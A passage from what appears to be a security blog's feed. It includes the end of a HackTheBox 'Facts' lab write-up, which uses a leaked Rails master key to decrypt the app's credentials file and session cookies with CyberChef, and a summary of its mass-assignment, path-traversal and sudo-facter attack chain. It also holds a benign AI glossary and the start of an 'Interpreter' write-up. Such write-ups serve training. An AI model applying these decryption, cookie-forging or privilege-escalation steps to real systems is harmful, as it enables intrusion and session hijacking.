<span class="go">SdpgX1MrbZfzLeRyMaP1/OMkbGQpScKdTPyFV4UeS7UHBlE7CTyX6GqaMh2Z/9eMzNlLrsJfbIMehlk0twL1x4wQyO9MjoahoxfNU2fm9Jsan//ZfOX8w5xspnrmSSY+AGd/0E24dsvD3fgNi/JnwzVi6wwfO97L6ZfNKkTqQVPxLCgYFDtEJHjAswGhNWwhlO6DQsOd7p2M/DK8Vsp0y7IrlTNna+cWAp93qo8N/kvDa8/YP4nJZnX9ffSFYf3CPTaSGj1ZwGCpnTJsULEADbLcnKIsyUbVFqrOVJDQrAlgQN7pvcZTAn9NN0meeYCVooKgbR8d1YLzJwJ75htdrQhiX8wXfi2FdsBbTLrYr8VEFCmPC6bRufvjdfQTvvQjnxgzUxbjh4z/4f3tWXTxlWCc0ExYFEwCyLrsfe5sdsqyxyA4knImPkDz/7JHSioX81bSEjmoFowh6fDlrkofxG3g6B5FDfvRu4GSEiJNN07Ma+EJR9tyQzMj--yMP6E8YydRfUIvNQ--WLJbhDu9CWS8smr6vrTOfQ==
</span></code></pre></div></div>

<p>I can decrypt the <code class="language-plaintext highlighter-rouge">credentials.yml</code> file using the <code class="language-plaintext highlighter-rouge">master_key</code> in <a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'Hex','string':'b0650437b2208a9fab449fb92f67bc40'%7D,%7B'option':'Base64','string':'yMP6E8YydRfUIvNQ'%7D,'GCM','Raw','Raw',%7B'option':'Base64','string':'WLJbhDu9CWS8smr6vrTOfQ%3D%3D'%7D,%7B'option':'Hex','string':''%7D)&amp;input=U2RwZ1gxTXJiWmZ6TGVSeU1hUDEvT01rYkdRcFNjS2RUUHlGVjRVZVM3VUhCbEU3Q1R5WDZHcWFNaDJaLzllTXpObExyc0pmYklNZWhsazB0d0wxeDR3UXlPOU1qb2Fob3hmTlUyZm05SnNhbi8vWmZPWDh3NXhzcG5ybVNTWStBR2QvMEUyNGRzdkQzZmdOaS9Kbnd6Vmk2d3dmTzk3TDZaZk5La1RxUVZQeExDZ1lGRHRFSkhqQXN3R2hOV3dobE82RFFzT2Q3cDJNL0RLOFZzcDB5N0lybFRObmErY1dBcDkzcW84Ti9rdkRhOC9ZUDRuSlpuWDlmZlNGWWYzQ1BUYVNHajFad0dDcG5USnNVTEVBRGJMY25LSXN5VWJWRnFyT1ZKRFFyQWxnUU43cHZjWlRBbjlOTjBtZWVZQ1Zvb0tnYlI4ZDFZTHpKd0o3NWh0ZHJRaGlYOHdYZmkyRmRzQmJUTHJZcjhWRUZDbVBDNmJSdWZ2amRmUVR2dlFqbnhnelV4YmpoNHovNGYzdFdYVHhsV0NjMEV4WUZFd0N5THJzZmU1c2RzcXl4eUE0a25JbVBrRHovN0pIU2lvWDgxYlNFam1vRm93aDZmRGxya29meEczZzZCNUZEZnZSdTRHU0VpSk5OMDdNYStFSlI5dHlRek1q">CyberChef</a>. I’ll manually break the encryption blob into three parts, splitting on <code class="language-plaintext highlighter-rouge">--</code>. The first is the input, which needs to be base64-decoded. The second is the IV, and the third is the GCM Tag. The “key” is the <code class="language-plaintext highlighter-rouge">master_key</code> in hex:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260529102706485.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260529102706485.png" alt="image-20260529102706485" class="include_image " />
</picture>

<p>The <code class="language-plaintext highlighter-rouge">secret_key_base</code> is used to derive keys for other decrypts. I’ll decrypt my cookie, which I can URL decode and break down to:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CT (segment 1)
Segment: zbL5ODI4fcl0lCUxWTVJX2NMQxnv9Je+LsKPjSmJmBKrQkys7wWWd32FRYRWrhvtbI5yriQLDB1MTQqRSXacyGfzFJZUjxxyQ1ffc0WIvqxS1+yy1YOTqVNyfTdbqj3GrBtyk2Ctxj0LtwRAG6BB1gVbtDM0UoD7oOoXyLtmLBYm1N155iJSvGaYFFBUoSrgxcH0N+5wg/8ZhX6yUGhpOaMTQwC9cDM7MeNKlf5ZFg9m+fMMgY9SqGr3Qf/sM1Ff/y+xwAugBdYpt9QCY8IfNB91jfU9H+KUDYYDgCCywVxsJixBOea4tafb8MJHt017HNsnJsQ=
────────────────────────────────────────
IV (segment 2)
Segment: qxZR53Msp3Z3y7sJ
────────────────────────────────────────
TAG (segment 3)
Segment: FRxnfc+4ddkTH354yv5Npg==
</code></pre></div></div>

<p>I’ll use the <code class="language-plaintext highlighter-rouge">secret_key_base</code> to derive the key:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260529224116812.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260529224116812.png" alt="image-20260529224116812" class="include_image " />
</picture>

<p>Ruby uses “authenticated encrypted cookie” as the salt. I’ll take the resulting key along with the IV and TAG to decrypt the CT from the cookie:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260529224448547.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260529224448547.png" alt="image-20260529224448547" class="include_image " />
</picture>

<p>With this, I could craft new cookie data and re-encrypt it.</p>]]></content><author><name></name></author><category term="ctf" /><category term="hackthebox" /><category term="htb-facts" /><category term="pentest" /><category term="bug-bounty" /><category term="htb-facts" /><category term="ctf" /><category term="hackthebox" /><category term="nmap" /><category term="ubuntu" /><category term="container" /><category term="lft" /><category term="minio" /><category term="aws" /><category term="s3" /><category term="ruby" /><category term="rails" /><category term="camaleon-cms" /><category term="feroxbuster" /><category term="cve-2025-2304" /><category term="cve-2024-46987" /><category term="cve-2026-1776" /><category term="mass-assignment" /><category term="awscli" /><category term="ssh-keygen" /><category term="ssh-keys" /><category term="ssh-encrypted-keys" /><category term="john" /><category term="facter" /><category term="sudo" /><category term="setuid" /><category term="ruby-gem" /><category term="directory-traversal" /><category term="file-read" /><category term="cyberchef" /><category term="aes-gcm" /><summary type="html"><![CDATA[Facts is a Linux box hosting a trivia website built on the Camaleon CMS, a Ruby on Rails application. I’ll abuse a mass assignment vulnerability in Camaleon to promote my account to administrator, then use credentials from the admin panel to authenticate to a local MinIO S3 service. From the bucket I’ll grab an encrypted SSH private key, crack its passphrase with john, and SSH in as the next user. For root, I’ll abuse a sudo rule on facter, Puppet’s system inventory tool, that lets me load arbitrary Ruby code from a custom facts directory and run it as root. In Beyond Root, I’ll show an alternative foothold using a path traversal in Camaleon’s S3 uploader to read arbitrary files, and use the leaked Rails master key to decrypt the application’s encrypted credentials and session cookies.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/facts-cover.png" /><media:content medium="image" url="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/facts-cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">AI Glossary</title><link href="https://0xdf.gitlab.io/cheatsheets/ai" rel="alternate" type="text/html" title="AI Glossary" /><published>2026-06-04T09:00:00+00:00</published><updated>2026-06-04T09:00:00+00:00</updated><id>https://0xdf.gitlab.io/cheatsheets/ai-glossary</id><content type="html" xml:base="https://0xdf.gitlab.io/cheatsheets/ai"><![CDATA[<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/ai-glossary-cover.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/ai-glossary-cover.png" alt="" style="float: right; margin-right:50px; margin-left:50px; height:150px;" class="include_image " />
</picture>
<p>AI as a technology is moving fast. From the time ChatGPT went mainstream in 2023, it’s grown from a cute way to generate funny poems to a defining technology that is likely to change everything. With its amazingly quick rise, it’s tricky to get the terms and language correct. Even the tech media doesn’t understand it, comparing Mythos to MDASH to Daybreak, when those comparisons make no sense! Let’s understand models vs harnesses vs labs vs initiatives and all that lays between.</p>

<h2 id="examples">Examples</h2>

<p>The full explanations are below, but here are some examples:</p>

<table>
  <tbody>
    <tr>
      <td><strong>Frontier AI Labs</strong></td>
      <td>Anthropic<br />OpenAI<br />Google DeepMind<br />xAI</td>
    </tr>
    <tr>
      <td><strong>Open Weight Labs</strong></td>
      <td>DeepSeek<br />Meta<br />Mistral</td>
    </tr>
    <tr>
      <td><strong>Models</strong></td>
      <td>Claude Sonnet 4.6, Claude Opus 4.8, Claude Mythos Preview<br />GPT-5.5, GPT-5.4-mini<br />Gemini 3.5 Flash, Gemini 3.1 Pro<br />DeepSeek V4<br />Llama 4<br />Mistral Large 3, Magistral</td>
    </tr>
    <tr>
      <td><strong>Clients</strong></td>
      <td>Claude.ai, Claude Code<br />ChatGPT, Codex<br />Gemini<br />Perplexity<br />Cursor, Windsurf, GitHub Copilot<br />Project MDASH, Claude Security, Iron Curtain</td>
    </tr>
    <tr>
      <td><strong>Initiatives</strong></td>
      <td>Glasswing, Daybreak</td>
    </tr>
  </tbody>
</table>

<h2 id="definitions">Definitions</h2>

<h3 id="ai-foundations">AI Foundations</h3>

<h4 id="llms">LLMs</h4>

<p>LLM stands for Large Language Model. All modern AI models at this time are LLMs, and every client, harness, and initiative is built around using them.</p>

<p>An LLM is trained on huge amounts of text from the internet, books, and code, and during that process it learns the statistical patterns of language well enough to generate plausible continuations of whatever text you give it. The result of that training is a “model” that gets used to generate output one piece at a time. Modern LLMs also handle code, math, images, audio, and video.</p>

<h4 id="model">Model</h4>

<p>A model in practice is a specific trained artifact with a name and a version. It is made up of a giant collection of numerical weights (often tens to hundreds of billions of parameters).</p>

<p>Labs typically ship a family of models tuned for different cost and capability trade-offs. Anthropic has Claude Opus (largest, most capable, slowest, most expensive), Claude Sonnet (mid-tier balance), and Claude Haiku (smallest, cheapest, fastest). OpenAI has GPT-5.5 and GPT-5.4-mini. Google has Gemini Pro and Gemini Flash.</p>

<p>Within a family, models are versioned. Version numbers are not directly comparable across labs and don’t always map cleanly to capability even within a lab. Release notes and benchmark publications are more reliable indicators than version numbers.</p>

<h4 id="tokens">Tokens</h4>

<p>Tokens are how a model sees text. Internally, an LLM doesn’t read characters or words, it reads tokens. A token is a chunk of text decided during model training. Most common words are one token, but less common words get split into pieces. For example, “strawberry” might be split into “straw” and “berry” by some tokenizers.</p>

<p>Tokens matter practically for a few reasons.</p>

<ul>
  <li>Pricing for LLM usage is usually per-token, with separate rates for what you send (input tokens) and what the model returns (output tokens).</li>
  <li>The context window, which is how much information the model can see at once, is measured in tokens.</li>
  <li>A famous failure mode where models miscount the letters in “strawberry” stems from the model seeing tokens, not letters.</li>
</ul>

<p>A rule of thumb is that one token is roughly 4 English characters, or about 0.75 of a word.</p>

<h4 id="context-window">Context Window</h4>

<p>The context window is the maximum amount of input a model can consider at once, measured in tokens. Anything beyond that limit gets dropped, truncated, or compressed.</p>

<p>Modern frontier models offer windows from around 200,000 tokens (a moderate book) up to 1 million tokens or more (a small library). A larger window lets the model see more code, more files, or longer conversations. Bigger context also costs more per call and often makes responses slower, because the model has to attend to every token in the window.</p>

<p>When a conversation runs longer than the window can hold, the client has to make a choice about what to drop, summarize, or compress. This is why long chat sessions can “forget” earlier details.</p>

<h4 id="reasoning-models">Reasoning Models</h4>

<p>Most modern frontier models can run in either a normal mode or a “thinking” or “reasoning” mode. In thinking mode, the model spends extra tokens working through a problem before producing its final answer, much like a human writing scratch notes. Anthropic calls this “extended thinking”, OpenAI’s o-series and DeepSeek’s R-series are designed around it, and Google has thinking variants of Gemini.</p>

<p>Thinking mode usually produces better results for complex tasks, especially math, coding, and multi-step reasoning, but it’s slower and uses more tokens. Some models let the caller decide how much thinking budget to spend, and some clients hide the thinking tokens from the user and only show the final answer.</p>

<h4 id="tools--mcps">Tools / MCPs</h4>

<p>A modern LLM can do more than just respond with text. Most of them are trained to output structured “tool calls” that the client can execute on the model’s behalf. A tool can be anything the client decides to expose, such as reading a file, querying a database, browsing the web, running a shell command, or sending an email.</p>

<p>Here’s how the flow works.</p>

<ol>
  <li>The client provides the model a list of the tools available, with their names, descriptions, and parameters.</li>
  <li>The model, when generating its response, can generate a tool call instead of (or in addition to) text.</li>
  <li>The client sees the tool call, and rather than showing the user, instead runs the underlying function, and feeds the result back to the model as more context.</li>
  <li>The model continues its response with the new information.</li>
</ol>

<p>This is how clients go beyond chat to edit files, run tests, and search the web.</p>

<p>MCP stands for Model Context Protocol. It’s an open standard introduced by Anthropic in late 2024 that defines a common way for tool servers and clients to talk to each other. Without MCP, every client had to implement custom integrations for every tool. With MCP, a tool server (for example, one that exposes a GitHub repo) can be plugged into any MCP-compatible client. MCP has been broadly adopted across the major clients.</p>

<h3 id="ai-labs">AI Labs</h3>

<p>AI labs are the companies and research organizations that train and release the underlying models. They fall into two main groups based on what they release to the public. Frontier labs train at the leading edge but keep their model weights private, exposing access through APIs and their own clients. Open weight labs publish the trained weights for anyone to download and run. A small subset go further and publish enough of the training pipeline that the model can be reproduced from scratch.</p>

<h4 id="frontier">Frontier</h4>

<p>The “frontier” refers to the leading edge of AI capability. A frontier lab is one that trains models at or near that edge, with training runs costing on the order of hundreds of millions to billions of dollars. Three labs are widely considered frontier in the Western ecosystem.</p>

<ul>
  <li>Anthropic makes the Claude family of models. Founded in 2021 by former OpenAI researchers, with a focus on AI safety research.</li>
  <li>OpenAI makes the GPT family. Their consumer launch of ChatGPT in November 2022 brought modern AI into the mainstream.</li>
  <li>Google DeepMind is Google’s AI research arm, formed by merging Google Brain with DeepMind. Makers of the Gemini family of models.</li>
</ul>

<p>Frontier labs keep their model weights private. To use their models, you go through their API or one of their official clients. You can’t download the model and run it on your own hardware.</p>

<h4 id="open-weight">Open Weight</h4>

<p>Open weight labs train models and release the weights publicly. Anyone can download a copy and run it on their own hardware, host it on a cloud provider, or fine-tune it for their own purposes. The most prominent open weight labs include:</p>

<ul>
  <li>DeepSeek, a Chinese lab whose V3 and R1 model releases in early 2025 shifted the field by matching frontier benchmarks at a fraction of the training cost.</li>
  <li>Meta, which releases the Llama family with open weights.</li>
  <li>Mistral, a French lab releasing the Mistral and Magistral families.</li>
</ul>

<p>The weights (the giant pile of numbers that make up the trained model) are downloadable, but the training data and exact training process are usually kept private. So you can run and modify the model, but you can’t fully reproduce it from scratch.</p>

<p>Most people don’t run open weight models on their own hardware. Instead, hosted inference providers like Together AI, Fireworks, Groq, Cerebras, and OpenRouter serve these models over an API for less than the frontier labs charge for theirs.</p>

<h4 id="open-source">Open Source</h4>

<p>Open weight is not the same as open source. “Open weight” only means the model’s trained weights are downloadable. The training data, training code, and exact training process are usually kept private.</p>

<p>True open source AI models, where the training data, training code, and the model weights are all published, are much rarer. The <a href="https://allenai.org/">Allen Institute for AI</a> releases OLMo under a fully open philosophy, including not just the weights but also the training data, training scripts, and intermediate checkpoints. <a href="https://www.eleuther.ai/">EleutherAI</a> has done similar work with the Pythia model series, with a focus on making research reproducible.</p>

<p>Open source models tend to lag behind the frontier in raw capability, but they let researchers study exactly how a model came to be the way it is, which closed and open weight releases don’t allow.</p>

<h3 id="clients">Clients</h3>

<p>The client is what connects the user to the model, and handles the response. Clients are responsible for deciding if the response should be directly displayed to the user, or if tool calls should be made and actions taken. The client manages the interactions between the user, the model, and any tool calls / filesystem that’s available to it.</p>

<h4 id="raw-api">Raw API</h4>

<p>Users don’t just interact with a model. They need a client. At the most basic level, there’s an API, where users can send a simple HTTP request to interact with the model:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl https://api.anthropic.com/v1/messages <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"content-type: application/json"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"x-api-key: </span><span class="nv">$ANTHROPIC_API_KEY</span><span class="s2">"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"anthropic-version: 2023-06-01"</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{
    "model": "claude-opus-4-8",
    "max_tokens": 1024,
    "messages": [{
      "role": "user",
      "content": "Hello, Claude"
    }]
  }'</span>
</code></pre></div></div>

<h4 id="web-uis">Web UIs</h4>

<p>While this is useful for building products / programs / scripts that use AI, it’s not what most users need. The most common interface for AI models is through web user interfaces (UIs), such as <a href="https://claude.ai/">claude.ai</a>, <a href="https://chatgpt.com/">ChatGPT</a>, or <a href="https://gemini.google.com/">Gemini</a>.</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260604175024722.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260604175024722.png" alt="image-20260604175024722" class="include_image " />
</picture>

<p>There are other websites that use the frontier models via the API but provide their own interface, such as <a href="https://www.perplexity.ai/">Perplexity.ai</a>. Perplexity uses its own proprietary Sonar model (based on Meta’s open source model), as well as makes API calls to other models for specific tasks to give what it considers the best user experience.</p>

<h4 id="custom-ides--ide-plugins">Custom IDEs / IDE Plugins</h4>

<p>Most of the major models have extensions for IDEs like VS Code. These plugins provide a window alongside the IDE and interact with it and the code in the current directory to help with coding projects. There’s also <a href="https://github.com/features/copilot">GitHub Copilot</a> and other plugins that work across frontier models and bill monthly with usage limits.</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260604174958550.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260604174958550.png" alt="image-20260604174958550" class="include_image " />
</picture>

<p>There are also custom IDEs like <a href="https://cursor.com/">Cursor</a> and <a href="https://devin.ai/desktop">Devin</a> (formerly Windsurf) that allow connecting to different models and provide the integrated AI coding experience.</p>

<h4 id="terminal-uis">Terminal UIs</h4>

<p><a href="https://code.claude.com/docs/en/overview">Claude Code</a> from Anthropic was the first terminal AI client, and has since been followed up with <a href="https://github.com/openai/codex">Codex</a> from OpenAI. These are very similar to working in an IDE, just from the raw command line.</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260604174510065.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260604174510065.png" alt="image-20260604174510065" class="include_image " />
</picture>

<p>These handle the same kinds of projects as the IDEs, with access to the filesystem as well as the model and tools.</p>

<h4 id="harnesses">Harnesses</h4>

<p>A harness is a specialized client built around a single workflow rather than a general chat interface. Rather than giving the user a blank slate, a harness has a specific input with a series of prompts and other handlers designed to drive toward a goal. Some examples:</p>

<ul>
  <li>Microsoft has <a href="https://www.microsoft.com/en-us/security/blog/2026/05/12/defense-at-ai-speed-microsofts-new-multi-model-agentic-security-system-tops-leading-industry-benchmark/">Project MDASH</a>, a multi-model agentic security system that “orchestrates more than 100 specialized AI agents across an ensemble of frontier and distilled models to discover, debate, and prove exploitable bugs end-to-end.”</li>
  <li>Anthropic has <a href="https://support.claude.com/en/articles/14661296-use-claude-security">Claude Security</a>, which takes a GitHub repo and has a similar orchestration to scan code for vulnerabilities, validate findings, and propose patches.</li>
  <li><a href="https://github.com/provos/ironcurtain">Iron Curtain</a>, a secure runtime for AI agents from Niels Provos.</li>
</ul>

<h3 id="initiatives">Initiatives</h3>

<p>An “Initiative” in this glossary refers to a large lab-led campaign that gives a defined cohort of partners access to a particular model or capability under specific terms. Initiatives are not models (the thing producing tokens) and not harnesses (specialized clients). They are usually announced with a name, a target use case, and a pool of usage credits or compute.</p>

<p><a href="https://www.anthropic.com/glasswing">Glasswing</a> is an initiative from Anthropic that brought together 40 major software providers with the goal of using the most capable (at the time) AI models to identify and fix vulnerabilities in their applications. Anthropic opted to not release their Mythos Preview model for general use, instead granting access to these companies, each with $100 million in usage credits. They also contributed $4 million worth of credits to open source maintainers.</p>

<p>OpenAI followed about five weeks later with <a href="https://openai.com/daybreak/">Daybreak</a>. It’s not totally clear what exactly Daybreak is on the page. Its goal is to use AI to “accelerate cyber defenders and continuously secure software”, but it doesn’t really say how, other than to show different access tiers for levels of safeguards applied.</p>]]></content><author><name></name></author><category term="ai" /><category term="ai" /><category term="llm" /><category term="anthropic" /><category term="openai" /><category term="google-deepmind" /><category term="deepseek" /><category term="meta" /><category term="mistral" /><category term="open-weight" /><category term="open-source" /><category term="gemini" /><category term="claude" /><category term="gpt" /><category term="llama" /><category term="tokens" /><category term="context-window" /><category term="reasoning-models" /><category term="chatgpt" /><category term="claude-code" /><category term="codex" /><category term="perplexity" /><category term="cursor" /><category term="windsurf" /><category term="devin" /><category term="copilot" /><category term="mcp" /><category term="harness" /><category term="project-mdash" /><category term="iron-curtain" /><category term="glasswing" /><category term="daybreak" /><category term="cheat-sheet" /><summary type="html"><![CDATA[AI as a technology is moving fast. From the time ChatGPT went mainstream in 2023, it’s grown from a cute way to generate funny poems to a defining technology that is likely to change everything. With its amazingly quick rise, it’s tricky to get the terms and language correct. Even the tech media doesn’t understand it, comparing Mythos to MDASH to Daybreak, when those comparisons make no sense! Let’s understand models vs harnesses vs labs vs initiatives and all that lays between.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/ai-glossary-cover.png" /><media:content medium="image" url="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/ai-glossary-cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HTB: Interpreter</title><link href="https://0xdf.gitlab.io/2026/05/30/htb-interpreter.html" rel="alternate" type="text/html" title="HTB: Interpreter" /><published>2026-05-30T13:45:00+00:00</published><updated>2026-05-30T13:45:00+00:00</updated><id>https://0xdf.gitlab.io/2026/05/30/htb-interpreter</id><content type="html" xml:base="https://0xdf.gitlab.io/2026/05/30/htb-interpreter.html"><![CDATA[<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/interpreter-cover.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/interpreter-cover.png" alt="Interpreter" style="float: right; margin-right:50px; margin-left:50px; height:150px;" class="include_image " />
</picture>
<p>Interpreter is a Linux box hosting Mirth Connect, a Java-based healthcare integration engine. I’ll exploit an unauthenticated XStream deserialization vulnerability in the Mirth API to get remote code execution and a foothold as the mirth service account. From the Mirth config I’ll grab database credentials, dump a user password hash from MariaDB, and crack it to pivot to the next user. For root, I’ll abuse a localhost Flask notification server that wraps XML-supplied fields in an evaluated f-string, allowing Python code execution as root.</p>

<h2 id="box-info">Box Info</h2>

<!-- https://app.hackthebox.com/machines/841 -->

<div class="htb-card platform-htb">
  <div class="htb-card-header">
    <div class="htb-box-info">
      <a href="https://hackthebox.com/machines/interpreter" target="_blank" class="htb-box-icon">
        <picture>
          <source type="image/webp" srcset="/icons/box-interpreter.webp" />
          <img src="/icons/box-interpreter.png" alt="Interpreter" />
        </picture>
      </a>
      <div class="htb-box-title">
        <a href="https://hackthebox.com/machines/interpreter" target="_blank" class="htb-box-name">Interpreter</a>
      </div>
    </div><div class="htb-difficulty-badge diff-Medium">
      Medium
    </div>
  </div>

  <div class="htb-card-body">
    <div class="htb-meta-grid">
      <div class="htb-meta-item">
        <span class="htb-meta-label">Release Date</span>
        <span class="htb-meta-value">
          
          <a href="https://twitter.com/hackthebox_eu/status/2024506817670176848">21 Feb 2026</a>
        </span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">Retire Date</span>
        <span class="htb-meta-value">30 May 2026</span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">OS</span>
        <span class="htb-meta-value htb-os">
          <picture><source type="image/webp" srcset="/icons/Linux.webp" /><img src="/icons/Linux.png" alt="Linux" /></picture>
          Linux
        </span>
      </div>
    </div>

    <div class="htb-cards">
      
      <div class="htb-card-row htb-card-green">
        <span class="htb-card-label">Rated Difficulty</span>
        <picture>
          <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/interpreter-diff.webp" />
          <img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/interpreter-diff.png" alt="Rated difficulty for Interpreter" class="htb-diff-img" />
        </picture>
      </div>
      <div class="htb-card-row htb-card-green htb-card-tall">
        <span class="htb-card-label">Radar Graph</span>
        <picture>
          <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/interpreter-radar.webp" />
          <img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/interpreter-radar.png" alt="Radar chart for Interpreter" class="htb-radar-img" />
        </picture>
      </div>
      
      
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M12.4256 10.0001C11.9254 10.0001 11.5003 9.81776 11.1502 9.45318C10.8 9.0886 10.625 8.64589 10.625 8.12505C10.625 7.60422 10.8 7.16151 11.1502 6.79693C11.5003 6.43235 11.9254 6.25005 12.4256 6.25005C12.9257 6.25005 13.3509 6.43235 13.701 6.79693C14.0511 7.16151 14.2262 7.60422 14.2262 8.12505C14.2262 8.64589 14.0511 9.0886 13.701 9.45318C13.3509 9.81776 12.9257 10.0001 12.4256 10.0001Z" fill="currentColor" /><path d="M8.82438 12.8126V12.5001C8.82438 12.3004 8.87648 12.1116 8.98068 11.9336C9.08488 11.7557 9.22868 11.606 9.41208 11.4844C9.87056 11.2067 10.3553 10.994 10.8662 10.8464C11.3772 10.6988 11.8961 10.6251 12.423 10.6251C12.9499 10.6251 13.4697 10.6988 13.9823 10.8464C14.495 10.994 14.9806 11.2067 15.4391 11.4844C15.6225 11.5973 15.7663 11.7448 15.8705 11.9271C15.9747 12.1094 16.0268 12.3004 16.0268 12.5001V12.8126C16.0268 13.0704 15.9386 13.2911 15.7622 13.4747C15.5857 13.6583 15.3737 13.7501 15.126 13.7501H9.72114C9.47342 13.7501 9.26203 13.6583 9.08697 13.4747C8.91191 13.2911 8.82438 13.0704 8.82438 12.8126Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">User</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">00:19:23</span></span><a href="https://app.hackthebox.com/users/458607" target="_blank" rel="noopener"><img alt="Pyp" src="https://www.hackthebox.com/badge/image/458607" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> Pyp</span></a><br /></div>
      </div>
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M10.7 13.5H9.3V12.1H10.7V13.5ZM10.7 10.7H9.3V6.5H10.7V10.7Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">Root</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">00:19:48</span></span><a href="https://app.hackthebox.com/users/480556" target="_blank" rel="noopener"><img alt="xtk" src="https://www.hackthebox.com/badge/image/480556" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> xtk</span></a><br /></div>
      </div>
      
